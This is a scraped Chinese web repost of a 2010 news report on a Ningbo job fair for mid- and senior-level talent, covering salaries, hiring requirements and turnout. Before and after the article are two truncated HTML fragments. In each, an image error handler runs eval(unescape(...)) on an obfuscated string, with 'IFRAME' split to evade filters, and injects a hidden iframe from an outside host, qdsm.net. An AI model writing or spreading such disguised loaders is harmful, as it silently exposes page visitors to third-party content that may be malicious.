宁波中高级人才招聘会举行90%岗位年薪6万元以上- 安全防范- dissembles ...
宁波中高级人才招聘会举行 90%岗位年薪6万元以上 [转贴 2010-02-02 09:56:51]   
宁波中高级人才招聘会举行 90%岗位年薪6万元以上

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

昨天,“才富·宁波”首届中高级人才专场招聘会在市人才市场举行。73家用人单位推出的476个岗位中,90%以上岗位的年薪在6万元以上。虽然洽谈会对应聘人员的资格作了限定,但还是吸引了1250余人前去应聘这些高薪职位。

参加这场招聘会的不乏“韵升”、“贝发”等xx企业,也有外商投资企业和台资企业,更多的是一些名不见经传的中小企业,他们推出的高薪职位主要有总经理、副总经理、生产主管、销售主管等高级管理人才和计算机、软件、电子、机械、电器、模具、建筑安装、汽车、外贸、市场营销、文化传媒等领域的中高级专业技术人才,包括高级技工等应用型人才,总需求人数约800人。

为什么用人单位对这些岗位许以高薪?据介绍,目前中高级管理人才一般既需要具有相关行业和产业的知识,又要有管理经验和能力,这样的人才比较难找,因此其薪金都较高。一些新兴产业,大多需要的是有交叉学科知识背景的复合型人才,这样的人才也比较难找,所以薪金也高。

由于用人单位对应聘者的要求较高,为此,本场洽谈会对应聘人员作了限定:只有具有中高级职称或中高级管理职位任职经历,或是留学人员,或是具有研究生以上学历、本科毕业3年以上工作经历、专科毕业5年以上工作经历的人才,或是有特殊技能的高级技工,经验证后方可进场应聘。

这次招聘,包括总经理职位在内,每个职位都有三四名候选人。据统计,昨天的招聘会有900余人次与用人单位达成意向。

来源:中国宁波网

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【宁波中高级人才招聘会举行90%岗位年薪6万元以上- 安全防范- dissembles ...】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——